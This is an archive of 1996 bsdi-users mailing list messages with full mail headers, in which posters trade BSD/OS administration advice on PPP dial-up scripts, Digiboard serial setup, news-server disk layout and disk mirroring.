-------------------- \ Jeffrey J. Libman, ops. mgr. |\ web - = http://www.wantabe.com Wantabe, Inc. |_\ ftp - ftp.wantabe.com jeffrl@wantabe.com <----|----> mail (713) 493-0718 __,.-=3D\'`^`'~=3D-..news apache is kool! bsdi is kooler! ---------- From: Bill Nestlerode[SMTP:billn@BSDI.COM] Sent: Tuesday, November 12, 1996 3:48 PM To: System Administrator - Greg Wiktor Cc: bsdi-users@BSDI.COM Subject: Re: PPP + Client Dialups=20 "System Administrator - Greg Wiktor" writes: >Hello everone, I was just wondering... Is there any way to have PPP on = BSDi 2. >1 work better with=20 >Windows PPP Users? right now we have an NT machine taking care of all = of our=20 >normal dialups,=20 >but I would much rather use BSDi, except that Windows machines do not = work cor >rectly at dialing=20 >up unless scripts are made... is there any way to make it so windows = machines=20 >connect more=20 >easily? > >Thanks for any input... > >Greg Wiktor Senior = System Admi >nistrator >_____________________________________________________________________ >Advantech PC Realm Internet Services = (WWW.PCREALM.NET) >60 Welcher Avenue >Peekskill, NY 10566 >Tel: 914-736-7300 Fax: = 914-73 >6-7024 >E-Mail:=20 > INTERNEX@PCREALM.NET (PRIMARY) > INTERNEX@ADVINC.COM > INTERNEX@LANLINE.COM >______________________________________________________________________ >-IBM BesTeam Member, TeamOS2 Member, IBM Corp. Reseller, Intel = Reseller- Greg: I hear that scripts are the way to go for Win95. Can you get them from MS? They are on the WinNT 4.0. BSDI will support PAP + CHAP authentication in 3.0 so scripts won't be necessary. -Bill N From VM Tue Nov 12 20:17:40 1996 Status: RO X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] ["152" "Tue" "12" "November" "1996" "17:04:19" "-0600" "M. Dickens" "mdickens@tetranet.net" nil "8" "HP Netserver LH" "^From:" nil nil "11" nil nil nil nil] nil) Received: from lists.gateway.com (lists.gateway.com [198.85.67.131]) by gate.smm.com (8.7.4/8.7.3) with ESMTP id SAA25328 for ; Tue, 12 Nov 1996 18:07:46 -0500 (EST) Received: (from majordom@localhost) by lists.gateway.com (8.8.2/555-1212) id SAA08086 for bsdi-users-outgoing; Tue, 12 Nov 1996 18:03:31 -0500 (EST) Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Precedence: bulk From: "M. Dickens" Sender: owner-bsdi-users@lists.gateway.com To: bsdi-users@BSDI.COM Subject: HP Netserver LH Date: Tue, 12 Nov 1996 17:04:19 -0600 (CST) Does any have experience using BSDI on an HP Netserver LH series..., basically, will it work with the built-in SCSI controllers, etc. TIA, Michael From VM Tue Nov 12 20:17:41 1996 Status: RO X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] ["3145" "Tue" "12" "November" "1996" "18:53:42" "" "Greg Wiktor" "internex@pcrealm.net" nil "92" "RE: PPP + Client Dialups" "^From:" nil nil "11" nil nil nil nil] nil) Received: from lists.gateway.com (lists.gateway.com [198.85.67.131]) by gate.smm.com (8.7.4/8.7.3) with ESMTP id SAA25333 for ; Tue, 12 Nov 1996 18:08:18 -0500 (EST) Received: (from majordom@localhost) by lists.gateway.com (8.8.2/555-1212) id SAA08055 for bsdi-users-outgoing; Tue, 12 Nov 1996 18:00:03 -0500 (EST) Message-Id: <199611122259.RAA12672@home.pcrealm.net> Reply-To: "Greg Wiktor - System Administrator" MIME-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Content-Transfer-Encoding: 7bit Precedence: bulk From: "Greg Wiktor - System Administrator" Sender: owner-bsdi-users@lists.gateway.com To: "Bill Nestlerode" , "Jeffrey J Libman" , "System Administrator - Greg Wiktor" Cc: "bsdi-users@BSDI.COM" Subject: RE: PPP + Client Dialups Date: Tue, 12 Nov 96 18:53:42 On Tue, 12 Nov 1996 16:44:49 -0600, Jeffrey J Libman wrote: >get it from my anonymous ftp site! ftp.wantabe.com then /pub/win95/script.exe > >place it in its own folder, execute it (self extracting, otherwise brainless). use control panel->add/remove programs->windows setup->have disk->browse, then select the folder with script stuff in it. select ok/ok then put a check in the box by slip/dial-up scripting tool, then click install. > >there is a wantabe.scp, which this install does not copy. if you want to use it or one like it, rename it, edit it, then copy the new .scp file to program files/accessories. > >hope this helps. > >cheers, >jeff >-------------------- >"Well, that was a piece of cake, eh K-9?" >"Piece of cake, Master? Radial slice of baked confection ... coefficient of relevance to Key of Time: zero." > -- Dr. Who >-------------------- \ >Jeffrey J. Libman, ops. mgr. |\ web - http://www.wantabe.com >Wantabe, Inc. |_\ ftp - ftp.wantabe.com >jeffrl@wantabe.com <----|----> mail >(713) 493-0718 __,.-=\'`^`'~=-..news > apache is kool! > bsdi is kooler! > > >---------- >From: Bill Nestlerode[SMTP:billn@BSDI.COM] >Sent: Tuesday, November 12, 1996 3:48 PM >To: System Administrator - Greg Wiktor >Cc: bsdi-users@BSDI.COM >Subject: Re: PPP + Client Dialups > >"System Administrator - Greg Wiktor" writes: >>Hello everone, I was just wondering... Is there any way to have PPP on BSDi 2. >>1 work better with >>Windows PPP Users? right now we have an NT machine taking care of all of our >>normal dialups, >>but I would much rather use BSDi, except that Windows machines do not work cor >>rectly at dialing >>up unless scripts are made... is there any way to make it so windows machines >>connect more >>easily? >> >>Thanks for any input... >> >>Greg Wiktor Senior System Admi >>nistrator >>_____________________________________________________________________ >>Advantech PC Realm Internet Services (WWW.PCREALM.NET) >>60 Welcher Avenue >>Peekskill, NY 10566 >>Tel: 914-736-7300 Fax: 914-73 >>6-7024 >>E-Mail: >> INTERNEX@PCREALM.NET (PRIMARY) >> INTERNEX@ADVINC.COM >> INTERNEX@LANLINE.COM >>______________________________________________________________________ >>-IBM BesTeam Member, TeamOS2 Member, IBM Corp. Reseller, Intel Reseller- >Greg: >I hear that scripts are the way to go for Win95. Can you get them from >MS? They are on the WinNT 4.0. > >BSDI will support PAP + CHAP authentication in 3.0 so scripts won't be >necessary. > >-Bill N > > > > > > > great! thanks! Greg Wiktor Senior System Administrator _______________________________________________________________ Advantech Internet Services 60 Welcher Avenue Peekskill, NY 10566 Tel: (914) 736-7300 E-Mail: internex@pcrealm.net internex@advinc.com _______________________________________________________________ From VM Tue Nov 12 20:17:41 1996 Status: RO X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] ["473" "Tue" "12" "November" "1996" "16:03:11" "-0700" "Stephen Fisher" "lithium@cia-g.com" nil "18" "BSD/OS News server" "^From:" nil nil "11" nil nil nil nil] nil) Received: from lists.gateway.com (lists.gateway.com [198.85.67.131]) by gate.smm.com (8.7.4/8.7.3) with ESMTP id SAA25337 for ; Tue, 12 Nov 1996 18:08:30 -0500 (EST) Received: (from majordom@localhost) by lists.gateway.com (8.8.2/555-1212) id SAA08087 for bsdi-users-outgoing; Tue, 12 Nov 1996 18:03:34 -0500 (EST) Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Precedence: bulk From: Stephen Fisher Sender: owner-bsdi-users@lists.gateway.com To: bsdi-users@BSDI.COM Subject: BSD/OS News server Date: Tue, 12 Nov 1996 16:03:11 -0700 (MST) Hi, I am planning on building a BSD/OS usenet news server with 8-12gig of disk space for now. I haven't worked out many details yet but I was wondering if there was a way to make all of the drives look like one large one (cd or ccd driver? freebsd has one) under bsd/os and if it is smart to even do this on a news server. Please CC your reply directly to me. TIA. - Steve - Systems Manager - Community Internet Access, Inc. - Gallup and Grants, New Mexico From VM Tue Nov 12 20:17:42 1996 Status: RO X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] ["566" "Tue" "12" "November" "1996" "18:08:20" "-0500" "Bill Warner" "lww@ictech.com" nil "18" "Re: Digiboard Configuration " "^From:" nil nil "11" nil nil nil nil] nil) Received: from lists.gateway.com (lists.gateway.com [198.85.67.131]) by gate.smm.com (8.7.4/8.7.3) with ESMTP id SAA25341 for ; Tue, 12 Nov 1996 18:09:08 -0500 (EST) Received: (from majordom@localhost) by lists.gateway.com (8.8.2/555-1212) id SAA08114 for bsdi-users-outgoing; Tue, 12 Nov 1996 18:08:51 -0500 (EST) Message-Id: <199611122308.SAA15214@eagle.ictech.com> In-reply-to: Your message of "Tue, 12 Nov 1996 14:37:11 PST." Precedence: bulk From: Bill Warner Sender: owner-bsdi-users@lists.gateway.com To: Chris McGlasson cc: bsdi-users@BSDI.COM Subject: Re: Digiboard Configuration Date: Tue, 12 Nov 1996 18:08:20 -0500 Chris McGlasson writes: >Ok. I have a digi 16EM digiboard and card. I have configured my >/sys/i386/conf/LOCAL file to read the correct port and io address and >recompiled. > >I have put the following command into my /etc/rc.local directory: >/usr/sbin/digisetup -l 16 /dev/ttyA00 > >and my devices all appear in my /etc/ttys directory: >ttyA00 "/usr/libexec/gety bidir.38400-hf" vt 100 on. > >What the heck am I leaving out? I am running BSD 2.1. Any information >would be greatly appreciated. Thanks in advance. Ummmmm, Chris. What's the problem? Bill From VM Tue Nov 12 20:17:43 1996 Status: RO X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] ["820" "Tue" "12" "November" "1996" "18:24:27" "-0400" "Dean Anderson" "dean@av8.com" nil "20" "Re: Macintosh Application Environment (MAE)" "^From:" nil nil "11" nil nil nil nil] nil) Received: from lists.gateway.com (lists.gateway.com [198.85.67.131]) by gate.smm.com (8.7.4/8.7.3) with ESMTP id SAA25793 for ; Tue, 12 Nov 1996 18:24:51 -0500 (EST) Received: (from majordom@localhost) by lists.gateway.com (8.8.2/555-1212) id SAA08162 for bsdi-users-outgoing; Tue, 12 Nov 1996 18:21:16 -0500 (EST) X-Authentication-Warning: mustang.oec.com: mail set sender to using -f X-Sender: dean@mail.oec.com Message-Id: Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Precedence: bulk From: dean@av8.com (Dean Anderson) Sender: owner-bsdi-users@lists.gateway.com To: mcc@wlv.iipo.gtegsc.com (Merton Campbell Crockett), bsdi-users@BSDI.COM Subject: Re: Macintosh Application Environment (MAE) Date: Tue, 12 Nov 1996 18:24:27 -0400 At 11:39 AM 11/12/96, Merton Campbell Crockett wrote: >I know this sounds sick but is there a port of the Macintosh Application >Environment (MAE) for BSD/OS 2.1 or 3.0? I don't think so. Last time I saw it, only solaris and hpux were supported. Has anyone tried to install BSDI on the PC cards for macs? That, I think, would be, in the words of Senator Kennedy: "uhhh, cool" --Dean Dean Anderson dean@aV8.com | dean@lpf.org We make technology fly! See us for | Stop Software Patents before they Networking, Firewalls, WWW and more. | stop you! Contact me for more info Contact me for services and rates | or send mail to lpf@lpf.org President | President Plain Aviation,Inc | League for Programming Freedom From VM Tue Nov 12 20:17:44 1996 Status: RO X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] ["946" "Tue" "12" "November" "1996" "15:45:35" "-0800" "Chris McGlasson" "chrism@chiba.netxn.com" nil "29" "Re: Digiboard Configuration " "^From:" nil nil "11" nil nil nil nil] nil) Received: from lists.gateway.com (lists.gateway.com [198.85.67.131]) by gate.smm.com (8.7.4/8.7.3) with ESMTP id SAA25890 for ; Tue, 12 Nov 1996 18:25:29 -0500 (EST) Received: (from majordom@localhost) by lists.gateway.com (8.8.2/555-1212) id SAA08174 for bsdi-users-outgoing; Tue, 12 Nov 1996 18:25:07 -0500 (EST) In-Reply-To: <199611122308.SAA15214@eagle.ictech.com> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Precedence: bulk From: Chris McGlasson Sender: owner-bsdi-users@lists.gateway.com To: Bill Warner cc: bsdi-users@BSDI.COM Subject: Re: Digiboard Configuration Date: Tue, 12 Nov 1996 15:45:35 -0800 (PST) Sorry about that. The problem is that when I try to configure my modem (tip ttyA00), I get a message that says that the device is not confiugred. Is this referring to the Digiboard itself? When I watch the boot up messages, I don't show a digi device listed. Should I see one? Thanks. Chris On Tue, 12 Nov 1996, Bill Warner wrote: > Chris McGlasson writes: > >Ok. I have a digi 16EM digiboard and card. I have configured my > >/sys/i386/conf/LOCAL file to read the correct port and io address and > >recompiled. > > > >I have put the following command into my /etc/rc.local directory: > >/usr/sbin/digisetup -l 16 /dev/ttyA00 > > > >and my devices all appear in my /etc/ttys directory: > >ttyA00 "/usr/libexec/gety bidir.38400-hf" vt 100 on. > > > >What the heck am I leaving out? I am running BSD 2.1. Any information > >would be greatly appreciated. Thanks in advance. > > Ummmmm, Chris. What's the problem? > > Bill > From VM Tue Nov 12 20:17:47 1996 Status: RO X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] ["2532" "Tue" "12" "November" "1996" "19:27:58" "-0500" "Bill Warner" "lww@ictech.com" nil "75" "Re: Digiboard Configuration " "^From:" nil nil "11" nil nil nil nil] nil) Received: from lists.gateway.com (lists.gateway.com [198.85.67.131]) by gate.smm.com (8.7.4/8.7.3) with ESMTP id TAA27507 for ; Tue, 12 Nov 1996 19:36:01 -0500 (EST) Received: (from majordom@localhost) by lists.gateway.com (8.8.2/555-1212) id TAA08278 for bsdi-users-outgoing; Tue, 12 Nov 1996 19:28:18 -0500 (EST) Message-Id: <199611130027.TAA15928@eagle.ictech.com> In-reply-to: Your message of "Tue, 12 Nov 1996 15:45:35 PST." Precedence: bulk From: Bill Warner Sender: owner-bsdi-users@lists.gateway.com To: Chris McGlasson cc: bsdi-users@BSDI.COM Subject: Re: Digiboard Configuration Date: Tue, 12 Nov 1996 19:27:58 -0500 Chris McGlasson writes: >Sorry about that. The problem is that when I try to configure my modem >(tip ttyA00), I get a message that says that the device is not >confiugred. Is this referring to the Digiboard itself? When I watch the >boot up messages, I don't show a digi device listed. Should I see one? >Thanks. > Chris, OK, a few things to check: 1. Do you have an entry in /etc/remote for each port? Mine look like this: digi00:dv=/dev/ttyA00:br#115200:cm=at\r: and then I use "tip digi00", etc., to connect to the ports. 2. Did you "MAKEDEV digi"? IOW, do /dev/ttyA00, etc., really exist in /dev? 3. Yes, you should see something like this: digi0 at isa0 iobase 0x324 irq 11 maddr 0xd0000-0xd7fff PC/Xem in your boot messages (/var/db/dmesg.boot). What does your kernel config for the digi look like? When you recompiled the kernel did you do make clean, make depend, make, and remember to move the new kernel to /bsd (after saving the old one, of course). If you don't do the make clean, some things that need to be recompiled might not actually get done. I know I have been bitten by that one, and by forgetting to move the new kernel into place. More than once... ;-) 4. Make sure you don't have any irq or memory conflicts. Are you sure that the port and iobase addr specified in the kernel config match the on-board jumpers? To help prevent irq conflicts you may want to move the digi config line further down your LOCAL config file so that the driver can auto-select a free irq. IOW, put it after these 2 lines: # Devices that can select their own IRQ or other parameters # are placed last so that other devices get first choice. Mine comes right after those 2 lines and looks like this: # DigiBoard PC/Xem terminal multiplexor # ISA cards must specify a port. # The actual iosiz depends on the card (8K to 64K). # Multiple cards can use the same iomem address, # as the memory is switched as needed. # The PC/Xem driver will select a free irq at autoconfig time digi0 at isa? port 0x324 iomem 0xd0000 Works great! 5. Change your rc.local entry to something like this: /usr/sbin/digisetup -l 8 /dev/ttyA00 > /var/log/digi 2>&1 # PC/8em so that you can catch any error messages from digisetup. 6. If you ever dual-boot this machine with DOS, make sure that the EMM386 config in CONFIG.SYS excludes the digi memory window. If you don't, digisetup will fail on the first BSD/OS reboot after running DOS. Well, I guess that's more than a few. Oh, well... Bill From VM Wed Nov 13 00:11:50 1996 Status: RO X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] ["970" "Tue" "12" "November" "1996" "20:34" "EST" "John R. Levine" "johnl@iecc.com" nil "20" "Re: BSD/OS News server" "^From:" nil nil "11" nil nil nil nil] nil) Received: from lists.gateway.com (lists.gateway.com [198.85.67.131]) by gate.smm.com (8.7.4/8.7.3) with ESMTP id UAA29113 for ; Tue, 12 Nov 1996 20:29:28 -0500 (EST) Received: (from majordom@localhost) by lists.gateway.com (8.8.2/555-1212) id UAA08387 for bsdi-users-outgoing; Tue, 12 Nov 1996 20:27:59 -0500 (EST) Message-Id: Newsgroups: local.bsdi In-Reply-To: Organization: I.E.C.C., Trumansburg, N.Y. Precedence: bulk From: johnl@iecc.com (John R Levine) Sender: owner-bsdi-users@lists.gateway.com To: lithium@cia-g.com Cc: bsdi-users@BSDI.COM Subject: Re: BSD/OS News server Date: Tue, 12 Nov 96 20:34 EST >I am planning on building a BSD/OS usenet news server with 8-12gig of disk >space for now. I haven't worked out many details yet but I was wondering >if there was a way to make all of the drives look like one large one (cd >or ccd driver? freebsd has one) under bsd/os and if it is smart to even >do this on a news server. There's an unsupported multi-drive disk driver which will reportedly be supported in version 3.0. But I wouldn't bother. It's easy enough to use symlinks to, say, put alt on one drive, all the other articles on a second drive, and everything else (including overview files) on a third drive, without doing anything funky. It's true, this doesn't perfectly share your disk space, but it does give you the possibility of continuing to accept big 7 news even though your alt spool is filled up. -- John R. Levine, IECC, POB 640 Trumansburg NY 14886 +1 607 387 6869 johnl@iecc.com "Space aliens are stealing American jobs." - MIT econ prof From VM Wed Nov 13 00:11:50 1996 Status: RO X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] ["291" "" "12" "November" "1996" "17:14:02" "-0800" "Anthony Talltree" "aad@nwnet.net" nil "16" "Re: Can BSD/OS 3.0 address more then 256MB RAM?" "^From:" nil nil "11" nil nil nil nil] nil) Received: from lists.gateway.com (lists.gateway.com [198.85.67.131]) by gate.smm.com (8.7.4/8.7.3) with ESMTP id UAA29114 for ; Tue, 12 Nov 1996 20:29:28 -0500 (EST) Received: (from majordom@localhost) by lists.gateway.com (8.8.2/555-1212) id UAA08364 for bsdi-users-outgoing; Tue, 12 Nov 1996 20:16:16 -0500 (EST) Path: nwnet.net!not-for-mail Newsgroups: info.bsdi.users Organization: NorthWestNet, Bellevue, WA, USA, Earth Lines: 16 Message-ID: <56b7cq$4ub@olympus.nwnet.net> References: Reply-To: aad@nwnet.net Precedence: bulk From: aad@nwnet.net (Anthony Talltree) Sender: owner-bsdi-users@lists.gateway.com To: info-bsdi-users@uunet.uu.net Subject: Re: Can BSD/OS 3.0 address more then 256MB RAM? Date: 12 Nov 1996 17:14:02 -0800 > On the MP front we have a "giant lock" kernel running on dual > Pentiums in our lab. MP development is one of the main priorities > for the next year. Development of an NFS lock manager is also a > high priority. How's about a better patch system? From VM Wed Nov 13 00:11:57 1996 Status: RO X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] ["578" "Tue" "12" "November" "1996" "21:55:24" "-0600" "Marc Wiz" "marc@frshaire.wiz.com" nil "22" "Re: /usr/share/skel -- subdirectories" "^From:" nil nil "11" nil nil nil nil] nil) Received: from lists.gateway.com (lists.gateway.com [198.85.67.131]) by gate.smm.com (8.7.4/8.7.3) with ESMTP id XAA03294 for ; Tue, 12 Nov 1996 23:07:33 -0500 (EST) Received: (from majordom@localhost) by lists.gateway.com (8.8.2/555-1212) id WAA08625 for bsdi-users-outgoing; Tue, 12 Nov 1996 22:56:12 -0500 (EST) Message-Id: <199611130355.VAA02906@frshaire.wiz.com> In-Reply-To: <199611060411.XAA03674@gator.naples.net> from "Kevin U. Hill" at Nov 5, 96 11:11:32 pm X-Mailer: ELM [version 2.4 PL23] MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Precedence: bulk From: Marc Wiz Sender: owner-bsdi-users@lists.gateway.com To: bsdi-users@BSDI.COM Subject: Re: /usr/share/skel -- subdirectories Date: Tue, 12 Nov 1996 21:55:24 -0600 (CST) > We just add a few lines toward the end of the adduser script: > > system("mkdir $home_dir{$login}/www"); > system("/usr/sbin/chown $login $home_dir{$login}/www"); > system("/bin/chmod 755 $home_dir{$login}/www/"); > > We also use the script to set quota, mail a welcome message, etc. > > - Kevin > All of the above can be done in Perl without doing the "system()" call. It will just be three system calls instead of three forks and three execs which are more expensive. MArc -- Marc Wiz marc@wiz.com Yes, that really is my last name. From VM Wed Nov 13 22:17:35 1996 Status: RO X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] ["4126" "Wed" "13" "November" "1996" "00:50:01" "-0500" "Jacob M. Parnas" "jparnas@jparnas.cybercom.net" nil "103" "Andrew Longsworth andrew@industries.net has a strange view of \"MUCH\".." "^From:" nil nil "11" nil nil nil nil] nil) Received: from lists.gateway.com (lists.gateway.com [198.85.67.131]) by gate.smm.com (8.7.4/8.7.3) with ESMTP id AAA06016 for ; Wed, 13 Nov 1996 00:58:12 -0500 (EST) Received: (from majordom@localhost) by lists.gateway.com (8.8.2/555-1212) id AAA08971 for bsdi-users-outgoing; Wed, 13 Nov 1996 00:52:53 -0500 (EST) Message-Id: <199611130550.AAA09530@jparnas.cybercom.net> X-Authentication-Warning: jparnas.cybercom.net: Host localhost.cybercom.net didn't use HELO protocol X-External-Networks: yes In-reply-to: Your message of Mon, 11 Nov 1996 14:12:57 EST. <9610118477.AA847750497@inet.dpt.com> Precedence: bulk From: "Jacob M. Parnas" Sender: owner-bsdi-users@lists.gateway.com To: "Salyzyn" cc: bsdi-users@BSDI.COM, Raymond Jolin , andrew@industries.net Subject: Andrew Longsworth andrew@industries.net has a strange view of "MUCH".. Date: Wed, 13 Nov 1996 00:50:01 -0500 In message <9610118477.AA847750497@inet.dpt.com>you write: >From: Andrew Longsworth[SMTP:andrew@industries.net] >Sent: Friday, November 08, 1996 4:03 PM >To: Jacob M. Parnas >Cc: bsdi-users@BSDI.COM >Subject: Re: Mirroring Hard Drives > >At 9:44 AM -0500 11/8/96, Jacob M. Parnas wrote: >>Couldn't you newfs or rm -rf the area that you mirror to right before = >the >>mirror? >> >>Jacob >>--- > >That makes the mirror process a MUCH more processor/disk intensive task, >and increases the amount of time an update would take. I have received = >two >solutions to software disk mirroring and a suggestion to use a hardware >solution. Here are the two software solutions: A newfs takes an insignificant time compared to the (dump|restore) you're doing. 328 # ROOT # newfs /dev/rsd1a /dev/rsd1a: 20776 sectors in 53 cylinders of 7 tracks, 56 sectors 10.6MB in 4 cyl groups (16 c/g, 3.21MB/g, 1472 i/g) super-block backups (for fsck -b #) at: 32, 6368, 12704, 19040, 0.250u 0.580s 0:06.83 12.1% 0+218k 4+3io 3pf+0w 329 # ROOT # set time 330 # ROOT # mount /dev/sd1a /mnt 0.000u 0.030s 0:00.07 42.8% 0+449k 3+0io 4pf+0w >> mount: 1 331 # ROOT # dump 0f - /dev/rsd0a | (cd /mnt; restore rf -) DUMP: Date of this level 0 dump: Tue Nov 12 21:33:04 1996 DUMP: Date of last level 0 dump: the epoch DUMP: Dumping /dev/rsd0a (/) to standard output DUMP: mapping (Pass I) [regular files] DUMP: mapping (Pass II) [directories] DUMP: estimated 17550 blocks (8.57MB) on 0.24 tape(s). DUMP: dumping (Pass III) [directories] DUMP: dumping (Pass IV) [regular files] Warning: ./lost+found: File exists DUMP: 17534 blocks (8.56MB) on 1 volume DUMP: DUMP IS DONE 3.390u 18.480s 2:51.53 12.7% 0+366k 42+6959io 6pf+0w So on a stock sparcstation 2, (connor 207 MB disks, SCSI 1, no Weitek) the times are: newfs: 0.250u 0.580s 0:06.83 12.1% 0+218k 4+3io 3pf+0w (dump|restore): 3.390u 18.480s 2:51.53 12.7% 0+366k 42+6959io 6pf+0w in english, 6.83 seconds real, 0.25 user cpu seconds and .58 cpu seconds system 171.53 seconds real, 51.53 user seconds, and 18.48 cpu seconds system the newfs costs 3.99 % of the (dump|restore) in real time. 7.37 % of the (dump|restore) in user cpu seconds. 3.14 % of the (dump|restore) in system cpu seconds. The newfs takes about 60 disk operations total. (through iostat) The dump|restore takes about 1800 disk operations total. (through iostat) So it costs about 3.33 % in extra disk operations. As for: ">That makes the mirror process a MUCH more processor/disk intensive task," seems pretty stupid to me considering the above data. I guess if you consider adding 3-7.5 % cpu and about 3.3 % disk additions, a MUCH more processor/disk intesive task, you're right. I think you're sense of proportions are a bit off. My solution worked fine, and added a pretty small amount of additional time. I don't think a 3-7% increase constitutes making your job a "MUCH more processor/disk intensive task." I thought of a quick solution that didn't add much time to it. I never said it was optimal. I saw a question I knew an answer to and thought I'd help by sharing it. But, according to some jerk who didn't know what he was talking about, it wasn't even a solution, and 3-8% is "MUCH more processor/disk disk intensive". You try to help someone and you get insulted. Something's wrong with this list's additude. It's a pleasant working environment to have one's answer politely corrected if one makes a mistake at work and one is wrong. It's not so nice to have one's answer trashed if one makes a mistake at work and one is wrong. It sucks to have one's answer trashed at work when the person trashing your answer is wrong, not your answer. It really sucks to have your answer trashed when the person trashing your answer is wrong, not your answer, when you were just trying to do a fellow colleague a favor by trying to come up with a solution to his or her question when the fellow listmember asks a question on a mailing list you both are on, and you ask whether a solution would work. Jacob Parnas From VM Wed Nov 13 22:17:38 1996 Status: RO X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] ["488" "Wed" "13" "November" "1996" "02:32:05" "" "BSDI Mail" "bsdimail@pcrealm.net" nil "25" "Re: Can BSD/OS 3.0 address more then 256MB RAM?" "^From:" nil nil "11" nil nil nil nil] nil) Received: from lists.gateway.com (lists.gateway.com [198.85.67.131]) by gate.smm.com (8.7.4/8.7.3) with ESMTP id BAA07107 for ; Wed, 13 Nov 1996 01:35:21 -0500 (EST) Received: (from majordom@localhost) by lists.gateway.com (8.8.2/555-1212) id BAA09076 for bsdi-users-outgoing; Wed, 13 Nov 1996 01:34:26 -0500 (EST) Message-Id: <199611130633.BAA01944@home.pcrealm.net> Reply-To: "BSDI Mail" X-Mailer: Greg Wiktor's Registered PMMail 1.53 For OS/2 MIME-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Content-Transfer-Encoding: 7bit Precedence: bulk From: "BSDI Mail" Sender: owner-bsdi-users@lists.gateway.com To: "aad@nwnet.net" , "info-bsdi-users@uunet.uu.net" Subject: Re: Can BSD/OS 3.0 address more then 256MB RAM? Date: Wed, 13 Nov 96 02:32:05 what is the date on BSDI 3.0? anyone know it? I have been told by the end of the year, but, well, its getting close :> On 12 Nov 1996 17:14:02 -0800, Anthony Talltree wrote: >> On the MP front we have a "giant lock" kernel running on dual >> Pentiums in our lab. MP development is one of the main priorities >> for the next year. Development of an NFS lock manager is also a >> high priority. > >How's about a better patch system? > > > > > > > > > > From VM Wed Nov 13 22:17:46 1996 Status: RO X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] ["413" "Wed" "13" "November" "1996" "02:55:17" "-0500" "Robert Hof" "rhof@netinc.ca" nil "20" "Re: HP Netserver LH" "^From:" nil nil "11" nil nil nil nil] nil) Received: from lists.gateway.com (lists.gateway.com [198.85.67.131]) by gate.smm.com (8.7.4/8.7.3) with ESMTP id DAA11671 for ; Wed, 13 Nov 1996 03:23:10 -0500 (EST) Received: (from majordom@localhost) by lists.gateway.com (8.8.2/555-1212) id DAA10936 for bsdi-users-outgoing; Wed, 13 Nov 1996 03:17:53 -0500 (EST) Message-Id: <199611130755.CAA06550@marquis.netinc.ca> X-Sender: rhof@mail.netinc.ca X-Mailer: Windows Eudora Pro Version 2.1.2 Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Precedence: bulk From: Robert Hof Sender: owner-bsdi-users@lists.gateway.com To: "M. Dickens" Cc: bsdi-users@BSDI.COM Subject: Re: HP Netserver LH Date: Wed, 13 Nov 1996 02:55:17 -0500 Yup... works like a charm. Been hanging around onsale.com? Rob At 05:04 PM 12/11/96 -0600, you wrote: > >Does any have experience using BSDI on an HP Netserver LH series..., >basically, will it work with the built-in SCSI controllers, etc. > >TIA, > >Michael > > Robert Hof, More and Faster Network Enterprise Technology Inc. ------------------------ http://www.netinc.ca Hamilton, Ontario CANADA From VM Wed Nov 13 22:17:51 1996 Status: RO X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] ["342" "Wed" "13" "November" "1996" "01:32:18" "-0800" "Paul A. Vixie" "paul@vix.com" nil "11" "Re: BIND 4.9.3-P1 nslookup problem." "^From:" nil nil "11" nil nil nil nil] nil) Received: from lists.gateway.com (lists.gateway.com [198.85.67.131]) by gate.smm.com (8.7.4/8.7.3) with ESMTP id EAA13845 for ; Wed, 13 Nov 1996 04:46:09 -0500 (EST) Received: (from majordom@localhost) by lists.gateway.com (8.8.2/555-1212) id EAA11052 for bsdi-users-outgoing; Wed, 13 Nov 1996 04:32:30 -0500 (EST) X-btw: vix.com is also gw.home.vix.com and vixie.sf.ca.us Organization: Vixie Enterprises Message-ID: References: <199611111521.KAA29300@kci.kciLink.com> NNTP-Posting-Host: wisdom.home.vix.com In-reply-to: root@ns2.clever.net's message of 11 Nov 1996 09:28:49 -0800 Xref: vixie local.mail.bsdi.users:29726 Precedence: bulk From: paul@vix.com (Paul A Vixie) Sender: owner-bsdi-users@lists.gateway.com To: bsdi-users@BSDI.COM Subject: Re: BIND 4.9.3-P1 nslookup problem. Date: Wed, 13 Nov 1996 01:32:18 -0800 (PST) > You guys aren't using the buddy 4.9.3 still? I thought the phantom > failures were connected to a memory bug in < .4 series. I'd suggest > getting the latest bind in any case. ...which can be found through http://www.isc.org/isc/ as always. -- Paul Vixie La Honda, CA "Illegitimibus non carborundum." pacbell!vixie!paul From VM Wed Nov 13 22:17:54 1996 Status: RO X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] ["1535" "Wed" "13" "November" "1996" "06:02:32" "-0500" "Rudy Amid" "rudy@hcl.com" nil "37" "How to generate interest" "^From:" nil nil "11" nil nil nil nil] nil) Received: from lists.gateway.com (lists.gateway.com [198.85.67.131]) by gate.smm.com (8.7.4/8.7.3) with ESMTP id GAA15996 for ; Wed, 13 Nov 1996 06:08:31 -0500 (EST) Received: (from majordom@localhost) by lists.gateway.com (8.8.2/555-1212) id GAA11204 for bsdi-users-outgoing; Wed, 13 Nov 1996 06:03:08 -0500 (EST) Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Precedence: bulk From: Rudy Amid Sender: owner-bsdi-users@lists.gateway.com To: bsdi-users@BSDI.COM Subject: How to generate interest Date: Wed, 13 Nov 1996 06:02:32 -0500 (EST) -----BEGIN PGP SIGNED 